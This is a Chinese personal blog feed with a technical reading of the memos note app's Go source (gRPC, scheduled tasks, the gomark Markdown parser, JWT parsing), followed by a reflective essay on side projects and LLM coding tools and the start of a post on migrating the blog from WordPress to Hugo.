s.echoServer.Listener = httpListener </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> s.echoServer.<span style="color:#d2a8ff;font-weight:bold">Start</span>(address); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;failed to start echo server&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span><span style="display:flex;"><span><span style="color:#ff7b72">go</span> <span style="color:#ff7b72">func</span>() { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> muxServer.<span style="color:#d2a8ff;font-weight:bold">Serve</span>(); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> slog.<span style="color:#d2a8ff;font-weight:bold">Error</span>(<span style="color:#a5d6ff">&#34;mux server listen error&#34;</span>, <span style="color:#a5d6ff">&#34;error&#34;</span>, err) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>}() </span></span></code></pre></div><p>这里对 gRPC 的操作属实妙哉!端口复用的操作更是一绝。想起我之前有个 Side Project,既需要跑对外的 Web Server 后端,又需要跑对内的 API Server 后端,当时的做法是监听两个不同端口,现在想来可以用 cmux 来实现端口复用了。</p> <h3 id="梦开始的地方">梦开始的地方</h3> <p>那么请问,上述这种教科书级别的 Protobuf 和 gRPC 的用法,是来自于哪里的呢?</p> <p>我观察到 memos 的作者居然也给 Bytebase 提交过代码,好家伙,老熟人啊。同时,我在 Bytebase 的仓库里,找到了 <a href="https://github.com/bytebase/bytebase/pull/3751">#3751</a> 这个 PR。<del>(万恶之源)</del></p> <p>在 2022 年 12 月(好像就是 DevJoy 结束后一个月),Bytebase 仓库引入了第一个 proto 文件。从此便一发不可收拾,原先的 Web API 全都变成了 gRPC Server 的写法,同时也开始使用 Buf 来管理 proto 文件。memos 的作者作为后面加入 Bytebase 的员工,也是将 Bytebase 对于 gRPC 的最佳实践,用在了他的 Side Project,也就是 memos 中。</p> <p>我想大概是这么个故事情节吧。😁</p> <h2 id="定时任务">定时任务</h2> <p>memos 内部自行实现了三个很基础的定时任务。为什么说很基础呢,因为就是使用 <code>time.NewTicker</code> 来做的。每个定时任务的 Runner 都会实现 <code>Run()</code> 和 <code>RunOnce()</code> 两个方法,这里可能可以定义成一个接口?</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (r <span style="color:#ff7b72;font-weight:bold">*</span>Runner) <span style="color:#d2a8ff;font-weight:bold">Run</span>(ctx context.Context) { </span></span><span style="display:flex;"><span> ticker <span style="color:#ff7b72;font-weight:bold">:=</span> time.<span style="color:#d2a8ff;font-weight:bold">NewTicker</span>(runnerInterval) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">defer</span> ticker.<span style="color:#d2a8ff;font-weight:bold">Stop</span>() </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">select</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>ticker.C: </span></span><span style="display:flex;"><span> r.<span style="color:#d2a8ff;font-weight:bold">RunOnce</span>(ctx) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">&lt;-</span>ctx.<span style="color:#d2a8ff;font-weight:bold">Done</span>(): </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>三个定时任务分别是 <code>s3presign</code> <code>version</code> <code>memopreperty</code> 。</p> <ul> <li> <p><code>s3presign</code> 每 12 个小时遍历一波数据库中存储的上传到 S3 的资源,将临时 URL 有效期不到一天的资源,重新调用 S3 SDK 中的 PreSign 签一个五天的临时 URL。memos 在数据库中存储图片等资源的临时 URL,感觉是为了防止私有笔记中的资源 URL 泄露。使用 PreSign URL 后,即使将公开笔记转为私有,之前的链接在五天后也就过期了。</p> </li> <li> <p><code>version</code> 每 8 个小时请求 memos 自己的 API 获取当前 memos 的最新版本。判断版本落后并且数据库中之前还没有过版本更新提醒的话,就新增一条 <code>Activity</code> 记录,并将该 <code>Activity</code> 加到管理员账号的 Inbox 收件箱中。让管理员收到版本更新的消息。</p> <p>其中 <code>GetLatestVersion</code> 获取最新版本的函数,解析请求体这里,感觉可以进一步精简成一行。</p> <p><strong>BEFORE</strong></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>buf <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>bytes.Buffer{} </span></span><span style="display:flex;"><span>_, err = buf.<span style="color:#d2a8ff;font-weight:bold">ReadFrom</span>(response.Body) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;fail to read response body&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>version <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">&#34;&#34;</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err = json.<span style="color:#d2a8ff;font-weight:bold">Unmarshal</span>(buf.<span style="color:#d2a8ff;font-weight:bold">Bytes</span>(), <span style="color:#ff7b72;font-weight:bold">&amp;</span>version); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">&#34;&#34;</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;fail to unmarshal get version response&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p><strong>AFTER</strong></p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>json.<span style="color:#d2a8ff;font-weight:bold">NewDecoder</span>(response.Body).<span style="color:#d2a8ff;font-weight:bold">Decode</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>version) </span></span></code></pre></div></li> <li> <p><code>memopreperty</code> 每 12 小时遍历一遍所有 Payload 为空的 memos 笔记,从它的内容中解析出 Tag、链接、代码块等属性,保存到 memos 的 Property 中。这个函数在创建、修改、更新 MemoTag 时都会调用。额外加到定时任务中出发,应该是为了兜底。</p> </li> </ul> <h2 id="gomark">gomark</h2> <p>对于用户每一篇文本笔记,memos 都会使用 <a href="https://github.com/usememos/gomark">github.com/usememos/gomark</a> 库来做结构化的解析。将文本内容解析成不同类型的 Go 结构体块,以实现将 Markdown 格式转纯文本、笔记 Tag 提取等功能。</p> <p>这里简单拆解一下这个包的结构和原理,本质上又是把文本进行词法分析转换为 Tokens,构建 AST 抽象语法树,然后通过遍历 AST 实现上述提到的功能。gomark 好就好在他功能简单但全面,很适合像我这种从没学过编译原理的菜鸡。</p> <p><code>parser/tokenizer/tokenizers.go</code> 中定义了各种 Token 的类型,如下划线、星号、井号、空格、换行等,基本上就是在 Markdown 中含有语义成分的字符,都会作为一个 Token 类型。正文内容分为 <code>Number</code> 数字和 <code>Text</code> 文本两种 Token 类型。</p> <p><code>Tokenize(text string) []*Token</code> 函数就是很标准的传入 <code>text</code> 字符串,挨个字符 switch-case,然后转换为 Token 结构体添加到切片中。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> prevToken <span style="color:#ff7b72;font-weight:bold">*</span>Token </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> len(tokens) &gt; <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> prevToken = tokens[len(tokens)<span style="color:#ff7b72;font-weight:bold">-</span><span style="color:#a5d6ff">1</span>] </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>isNumber <span style="color:#ff7b72;font-weight:bold">:=</span> c <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">&#39;0&#39;</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> c <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">&#39;9&#39;</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> prevToken <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Text <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> !isNumber) <span style="color:#ff7b72;font-weight:bold">||</span> (prevToken.Type <span style="color:#ff7b72;font-weight:bold">==</span> Number <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> isNumber) { </span></span><span style="display:flex;"><span> prevToken.Value <span style="color:#ff7b72;font-weight:bold">+=</span> string(c) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> isNumber { </span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Number, string(c))) </span></span><span style="display:flex;"><span>} <span style="color:#ff7b72">else</span> { </span></span><span style="display:flex;"><span> tokens = append(tokens, <span style="color:#d2a8ff;font-weight:bold">NewToken</span>(Text, string(c))) </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>对于不在上述 Markdown 语义中的字符,则判断是否为数字 0-9,如果是的话说明是一个 <code>Number</code> 数字 Token,同时还需要看下上一个 Token 是不是也是数字,如果是的话他俩就是挨一起的,共同组成了一个 <code>Number</code> Token。<code>Text</code> 文本 Token 也是一样的逻辑,将挨着的文本字符统一为一个 <code>Text</code> Token。</p> <p>Token 拆分完后,就开始构建 AST 了。</p> <p><code>ast</code> 目录下有 <code>inline.go</code> 和 <code>block.go</code> 两个文件。前者定义了单个节点类型,如普通的文本节点、加粗、斜体、链接、井号标签等;后者定义了多个普通节点组成的集合节点,如段落、代码块、标题、有序无需列表、复选框等。</p> <p><code>parser/parser.go</code> 里定义的 <code>ParseXXX</code> 函数将第一步的 <code>[]*tokenizer.Token</code> 解析成 <code>[]ast.Node</code> 。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>nodes <span style="color:#ff7b72;font-weight:bold">:=</span> []ast.Node{} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> len(tokens) &gt; <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">for</span> _, blockParser <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72">range</span> blockParsers { </span></span><span style="display:flex;"><span> node, size <span style="color:#ff7b72;font-weight:bold">:=</span> blockParser.<span style="color:#d2a8ff;font-weight:bold">Match</span>(tokens) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> node <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> <span style="color:#ff7b72;font-weight:bold">&amp;&amp;</span> size <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#a5d6ff">0</span> { </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Consume matched tokens.</span> </span></span><span style="display:flex;"><span> tokens = tokens[size:] </span></span><span style="display:flex;"><span> nodes = append(nodes, node) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>本质上也还是将 Tokens 丢给所有的 <code>BlockParser</code> 在 for 循环里过一遍, <code>BlockParser</code> 接口实现 <code>Match()</code> 方法,不同的 Node 会一次性读取不同数量的 Tokens,判断格式是否满足 Node 的要求,来确定这些 Tokens 是否组成了这个 Node。Match 上了则会返回生成的 Node 和匹配上的 Tokens 长度,截去这个 Node 匹配的 Tokens,剩下的 Tokens 继续轮一遍所有的 <code>BlockParser</code>。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> defaultInlineParsers = []InlineParser{ </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewEscapingCharacterParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewHTMLElementParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewBoldItalicParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewImageParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewReferencedContentParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTagParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewStrikethroughParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewLineBreakParser</span>(), </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">NewTextParser</span>(), </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>值得注意的是,这些 <code>BlockParser</code> 的顺序应该是有讲究的。像最普通的、最容易匹配上的 <code>Text</code> 纯文本类型,应该放在最后。当前面所有的 Parser 都没匹配上时,才说明这个 Token 是文本类型的 Node。如果把 <code>TextParser</code> 放最前面,那估计所有的 Tokens 都会被匹配成文本 Node。</p> <p>将 Tokens 转换为 AST 上的 Nodes 后,最后还有个 <code>mergeListItemNodes</code> 函数,是用来特殊处理 <code>List</code> 列表节点的。如在列表的最后加上换行符,判断列表项是要拆成两个列表节点还是添加到末尾。</p> <p><code>renderer</code> 目录则是遍历上述 AST 中的节点,来将 AST 转换成 HTML 或者 String 纯文本。这里就很简单了,不同的节点调不同的函数 <code>WriteString</code> 即可。</p> <p>综上,<code>gomark</code> 就完成了将 Markdown 格式文本,解析转换成 HTML 或 String 纯文本的工作。</p> <h2 id="其它的小细节">其它的小细节</h2> <p>最后再说些自己发现的小细节吧,就不单独分一块了。</p> <h3 id="前端-embed-indexhtml">前端 embed index.html</h3> <p>随着 Go Embed 功能加入后,我很喜欢将 Vue 编译后的前端打包进 Go Binary 中。往往是会在 <code>web</code> 或者 <code>frontend</code> 前端代码路径下,保留放编译产物的 <code>dist</code> 目录,在里面放个 gitkeep 文件啥的。</p> <p>memos 的做法是放置了一个 <code>frontend/dist/index.html</code> 文件:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-weight:bold;font-style:italic">&lt;!DOCTYPE html&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">html</span> lang<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;en&#34;</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">meta</span> charset<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;UTF-8&#34;</span> /&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;viewport&#34;</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;width=device-width, initial-scale=1.0&#34;</span> /&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">title</span>&gt;Memos&lt;/<span style="color:#7ee787">title</span>&gt; </span></span><span style="display:flex;"><span> &lt;/<span style="color:#7ee787">head</span>&gt; </span></span><span style="display:flex;"><span> &lt;<span style="color:#7ee787">body</span>&gt; </span></span><span style="display:flex;"><span> No embeddable frontend found. </span></span><span style="display:flex;"><span> &lt;/<span style="color:#7ee787">body</span>&gt; </span></span><span style="display:flex;"><span>&lt;/<span style="color:#7ee787">html</span>&gt; </span></span></code></pre></div><p>直接在 Body 中写明了前端嵌入文件不存在。这样既可以通过编译,如若用户访问时,前端真没有被打包进来,在 index.html 也会有一个错误提示,比我只放一个不会被读到的 gitkeep 好些。</p> <h3 id="jwt-token-解析">JWT Token 解析</h3> <p>memos 使用 JWT Token 鉴权。因此需要解析通过 <code>Authorization</code> 头传进来的形如 <code>Bearer xxxx</code> 内容。问题是用户可能在 <code>Bearer</code> 和 Token 之间传入不定数量的空格,甚至在 <code>Bearer</code> 前或者 <code>xxx</code> 后也会有空格。</p> <p>要是我的话,可能就先 <code>strings.TrimSpace</code> ,再 <code>strings.Split</code> 按空格分隔,然后再取判断长度,取第一个元素和最后一个元素,即为 <code>Bearer</code> 和 Token。memos 里直接使用了 <code>strings.Fields</code> 包来做到这一点,直接解决了上述可能存在的问题。后面要做的仅仅只有判断切片长度是否为 <code>2</code> 即可。</p> <h2 id="总结">总结</h2> <p>以上便是我之前阅读 memos 源码的一些心得体会。由于时间关系,我并没有很仔细的去阅读每一个文件的每一行代码,也没去审是否有潜在的安全漏洞。memos 的前端是使用 React 编写的,由于我平时不怎么写 React,所以前端这块也只是粗略的翻了翻。</p> <p>memos 还是有很多可圈可点之处的,学到很多。貌似作者其它的开源项目也都有使用 memos 这种黑白动物风格的 Logo,相当于是一套统一的品牌。我对 AI 生成产品 Logo 这方面也挺感兴趣的,因为自己实在设计不来一个好看的 Logo&hellip;&hellip; 之后这块可以多研究下。</p>深夜随笔https://github.red/focus-is-all-you-need/Fri, 10 Jan 2025 02:24:05 +0800https://github.red/focus-is-all-you-need/<p>原本是打算写一篇技术文章来记录之前阅读某个项目源码的心得体会。但由于今天是工作日,白天还要上班,要是真当一篇技术文章来写,估计就要凌晨四五点才睡了。</p> <p>我以前写过那些颇有创意的文章,往往是从半个月前就有了点子,然后找一整个空闲的周末给它一口气写完。至于文章有没有技术含量,有多少阅读量,我也不关心,自己享受的是那洋洋洒洒几千字后的成就感。我感觉在如今这个时代,搭建个人网站写点文字性质的东西颇有点孤芳自赏的意味。在我读高中那会,是有在运营一个自己的微信公众号的。当时我的重心都放在公众号那边,这个博客里早些年的文章,也是从公众号那边复制过来的。</p> <p>后来觉得微信公众号的文字排版不好看,布局也不自由,我更喜欢个人网站这种像 QQ 空间一样可以随意装扮的形式,遂放弃了公众号,开始专心往博客里填东西,也开始注重每篇博客的标题和头图,好让整个页面看起来显得内容丰满。我感觉未来很长一段时间还是会保持现在这种状态,我在互联网的一个孤岛上自娱自乐,几乎不会有陌生人发现这个岛屿。</p> <p>我认识的朋友有在运营自己的B站、小红书、公众号,他们会把自己发的一条帖子在多个平台都一模一样地发一遍,还会根据不同平台的用户属性,修改帖子的措辞。我也有想过将自己平时在空间动态发的一些有意思的信息或者抖机灵的段子,在不同的平台发发,好恰一波流量。但这也都只是想想,我不是很喜欢对外高调宣传自己。以前有尝试过给我的开源项目拉过一个交流群,但进群的大多都是技术和人品都不在一个层次的伸手党,这让我备受打击。我很想多结识一些圈子外的人,但是又害怕遇到蠢货。(因为我上周就遇到了个蠢货,但我又碍于面子不好直接喷,只能自己生闷气)</p> <p>过去的一年,我在闲暇时间写了不少有意思的小东西:</p> <ul> <li>toma:iOS 设备端拖微信小程序并自动分析</li> <li>odoc:降本不增效的 CMS</li> <li>echo:用 daisyui 开发的博客评论前端</li> <li>Sayrud:不用写代码只要点点点就可以实现 RESTful API</li> <li>ikD:基于 Traefik 的集群服务统一认证插件</li> <li>fusion:集合了短信推送、邮件推送、滑动验证码、支付的中台服务</li> <li>TakoChat:使用 Go + Semi Design 做的 LLM 套壳站,背后套的腾讯混元大模型</li> <li>db-carry:只需配置三行 URL 快速实现 SSH 隧道连接数据库并备份到对象存储</li> </ul> <p>除了上面列举的这些,还有几个因为各种原因不方便透露的。但它们都有一个特点,那就是:</p> <p><strong>它们都不开源。</strong></p> <p>要说不开源的理由嘛,一是我觉得这些都是玩具性质的项目,开源出来感觉很羞耻。二是我觉得万一被有心之人看到了,简单二开一下拿去恰烂钱了。不管从哪方面来说,我感觉开源对我而言都没有好处。以上的这种观点可能是对几年前的自己的一种背叛,但我只能感慨时代变了,那些“顺风顺水”“手到擒来”的日子已一去不复返了。</p> <p>换个角度来说,上面这些项目,有很大一部分都是 CRUD,顶多的是在 CRUD 的基础上,再辅佐一点额外的技术。我也在怀疑自己的优势是不是仅仅是我写的 CRUD 代码质量比别人好。别人写得代码丑陋,连 Lint 都过不了,但是我有注释会换行,命名统一封装得当。是不是仅此而已呢?那要是这样,别人是不是认真钻研一下,也就能替代我了?这是我时常自我怀疑和 emo 的一个点。</p> <p>当下,大模型的发展也让这一层差距变得更加模糊。我在网上看到了太多人宣称用 GitHub Copilot Chat、Cursor、Windsurf 等工具可以不用谢代码快速开发出一个 xxx。但令我感到不解的是,我自己使用的时候,怎么就没这么神了?</p> <p>我猜测应该是那些人在使用这些工具时,都是从零开始新建一个文件夹,然后指挥大模型在这个空白的画布上尽情绘画。大模型会用它熟悉的方式和写法,来替你出色地完成需求。你让它写前端,如果你不说太详细,它就真只给你写个 HTML 和 JavaScript 文件。它不大会考虑到用现代的前端工具链。我感觉大模型编码在对项目的宏观把控,以及是对项目未来可能产生的需求,它的理解是不够的。它第一次可以给你想要的东西,而当你索取更多的东西时,它会在已有的代码上尝试修改,你提出更多的需求,它就继续修改。这个重复的过程通常来说是没问题的。但我相信未来总会到一个点,你发现大模型无论怎么给你修改代码,都没法再实现你新的需求了,或者是它给你实现了新需求 B,但上次提出的需求 A 又被改没了。</p> <p>这就是我在尝试使用大模型帮我开发 App 时遇到的问题。我对开发 App 一窍不通,很多次想要从零开始学习,刚跑起来 Hello World 就干别的去了。准备跟风让大模型帮我写个 App,第一版出来确实效果还行,但是我对页面有洁癖,但凡有操作不顺或者特效样式感觉不舒服不流畅的地方,都会让大模型帮我改。这就导致了改好了 B,又改好了 C,之前的 A 又不行了。最终只能我自己沉下心来看代码,手动将代码的大方向调整了下,这才让上述重复的过程能得以持续。但过了几轮对话下来,它又不行了。这导致我用了整整一个下午加一个晚上的时间,才终于写出了第一个符合我想法的页面。这个过程一点也不轻松,反倒是给我气得不行。那些在 Twitter 或者小红书上吹嘘无脑指挥大模型完成整个项目的人,你们一开始在脑子里就没有一个具体的标准,大模型给你写个勉强 80 分的东西,你也就凑合着用了。至于什么配色不对,区块没对齐,组件太宽或太窄,项目结构不合理,这些问题统统就被你们给无视了!反正又不是不能用。</p> <p>可悲的是,我心里想得是 100 分,我忍受不了大模型的 80 分,我自己写却只有 0 分(总是中途就放弃了)。所以如果你能反驳我并指出我的错误,甚至能向我展示大模型确实能做到 100 分,我感激不尽。</p> <p>大模型的概念被炒的正火,什么牛鬼蛇神就都出来了,现在也正是最浮躁的时候。有人风口捞钱,有人辞职创业,有人狂蹭热点,有人不要颜面。这个时候去争去辩去骂没什么用处,待到潮水退去,谁没穿裤子一目了然。当然我也叠个甲,这并不是在自命清高,只是我作为非既得利益者的嫉妒罢了。😁</p> <p>我发现之前写的挺多东西,后面基本都不常维护了,究其原因是我自己平时也不会去用这些东西。我在探索如何做一款 dogfooding 的产品,我日常会去用它,这样自己就能提一些新需求并持续迭代完善了。自己还是太容易被一些风吹草动给影响了,总会想些有的没的,然后陷入自我否定和怀疑。但有时得到正反馈以后又会感觉自己牛逼炸了,是天选之子。</p> <p>希望今后能更 Focus 一些,以上确实是些没什么逻辑的随笔,现在也已是深夜两点了,差不多就写到这吧。</p> <blockquote> <p>文章头图来自 @Novelance <a href="https://www.pixiv.net/artworks/85842369" title="PixivID 85842369">PixivID: 85842369</a></p></blockquote>我还是放弃了 WordPress · LightCube 九周年总结https://github.red/lightcube-9th/Mon, 07 Oct 2024 17:27:05 +0800https://github.red/lightcube-9th/<p>又到了一年国庆假期,这个小站也迎来了他的九岁生日。每年坐在电脑前静下心来写的周年总结,也是对我过去一年所发生的事情的回顾。去年国庆我经历了忙碌无休的加班,整个假期根本抽不出时间来写一篇文章,最可笑的是最后却是竹篮打水一场空,我一无所获。</p> <p>而到了今年国庆,我却是已经搬离了生活快六年的杭州,在上海的一间小小公寓内写下这些文字。我在上海有了新的工作,认识了新的同事,见到了很多新的技术。变化如此之大,回看年初四月那段泥泞坎坷的经历,还是很佩服自己当时的决心。我对自己现在的工作和生活十分满意,最近也总是感慨:“要是日子能一直这样下去就好了。” 但我也知道自己无时无刻是在逆水行舟,不能懈怠。</p> <p>言归正传,还是看看过去的一年内,这个小站又发生了哪些变化吧~</p> <h2 id="wordpress---hugo">WordPress -&gt; Hugo</h2> <p>我是在高一的国庆假期,偶然刷到了一个 b 站视频,视频介绍了如何在 Redhat OpenShift 上搭建自己的 WordPress 博客。这也是我第一次接触 WordPress、PHP、MySQL 这些东西,用了一个下午时间,在 OpenShift 上搭建了 WordPress 站点。后续因不满足于 OpenShift 海外美国节点的访问速度,陆陆续续换了很多家网站托管商。因为域名没有备案,所以当时都还是用得香港节点。</p> <p>上大学后,开通了阿里云学生机,又自学了 Docker,我便将网站迁到了学生机的 Docker 里。但由于使用的是 Apache、PHP、MySQL 官方镜像,没有调节任何参数,整个网站即使在国内学生机上,前台访问也总是卡卡的。WordPress 后台就更别说了,后台首页加载要七八秒。本想自己造轮子写一套博客系统的,在 2020 年的时候尝试把容器镜像换成了 WordPress 官方镜像,居然不卡了。造博客系统轮子的计划也随之弃坑。</p> <p>大学毕业后,学生机无法续费的,便开始玩上了竞价实例 + K8s 集群,博客也从原来学生机上的 Docker,迁移到了集群内。但我为了省钱,竞价实例节点出价总是比最低价格多一分钱,导致隔段时间实例就会因为市场价格变化而被回收。然后我的阿里云账号余额又总是维持在 90 - 100 附近,余额低于 100 就开不出新的实例。每次都是节点被销毁了,站点告警提醒我博客挂了,我再赶紧拿出手机充钱。(甚至在谈恋爱第一次约会请吃饭的时候,突然收到告警说实例被销毁了,我只能假装是在拿手机点餐,实则在给阿里云充钱)</p> <p>而压倒骆驼的最后一根稻草,是我发现用了这么多年的 WordPress 主题,居然不支持 PHP 8。切到 PHP 8 后,会提示满屏的方法已弃用,完全跑不起来。这套主题是我 2018 年高考后花钱购买的主题,早已不维护了,主题作者的网站现在都已经变成下载站了。</p> <p>因此,我决定放弃用了 9 年的 WordPress,转向静态网站。</p> <p>我在今年二月开始,花了大概一个月的的时间,将原 WordPress 主题搬到了 Hugo 上。搬的方法也是很简单粗暴,大批大批地复制 HTML、CSS,再按 Hugo 模板的结构一点点拆。期间舍去了很多看起来很炫,但实则没什么用的功能。(纯属因为太麻烦了不想做)例如页面滑到最底可以自动加载下一页,被改成了只能通过导航器翻页;去掉了移动端的下拉导航,做成了将导航菜单放到 Logo 下面;删除了以前在 WordPress 中乱七八糟的 Tag 和文章分类,统一成 “随笔”、“技术”、“创意”、“安全”、“分享” 五个分类。</p> <p>换成 Hugo 静态网站后,得到的速度提升也是很明显的。目前网站部署在腾讯云 COS 对象存储中,前面套了一层腾讯云的 CDN。对于文章头图这类比较耗 CDN 流量的资源,我找了个京东某系统的上传,将图片上传到京东 <code>360buyimg.com</code> 的全球 CDN 上。京东这 CDN 还挺强大,还支持图片裁剪、缩放、格式转换等处理参数。详情可以查看官方文档:<a href="https://h5.jd.com/article/247.html">京东图片调用详解</a> 。</p> <p>像一些简单的前端交互或者数据双向绑定,我就直接拿 <a href="https://alpinejs.dev/">AlpineJS</a> 来做了。像这些主流的 JavaScript 公共库,可以直接走字节的 CDN:<a href="https://cdn.bytedance.com/">字节跳动静态资源公共库</a>,在 URL 路径中还可以设置缓存的时长。(之前用七牛的 <code>staticfile.net</code> ,这垃圾玩意的所有响应都带 <code>no-cache</code> 头,这本地缓存个寂寞 😅)</p> <h2 id="静态网站的评论系统">静态网站的评论系统</h2> <p>迁移到静态网站后,“评论系统” 总是绕不开的一个话题。其本质还是持久化数据存哪的问题。</p> <p>像开源的一些基于 GitHub 账号的评论,数据存 GitHub Issues,但国内的访问速度不佳,且留言者必须登录自己的 GitHub 账号。或者是接一些第三方的 SaaS,如 DISQUS,这类系统会要求使用第三方账号登录,或者注册一个 DISQUS 